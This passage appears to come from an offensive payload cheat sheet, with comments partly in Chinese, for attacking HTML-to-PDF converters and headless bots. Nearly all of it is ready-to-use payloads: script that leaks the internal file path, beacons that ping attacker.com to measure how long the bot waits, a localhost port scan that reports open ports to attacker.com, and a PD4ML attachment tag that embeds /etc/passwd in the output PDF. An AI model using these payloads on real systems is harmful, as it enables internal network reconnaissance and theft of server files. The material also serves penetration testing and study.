<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
端口扫描
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
有一些 HTML 2 PDF 引擎允许 为 PDF 指定附件，例如 PD4ML。你可以利用这个功能 将任何本地文件附加到 PDF。
为了打开附件，我用 Firefox 打开文件并双击回形针符号以 将附件存储为新文件。
使用 burp 捕获 PDF 响应也应该 在 PDF 中以明文显示附件。
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html --><html><pd4ml:attachmentsrc="/etc/passwd"description="attachment sample"icon="Paperclip"/></html>
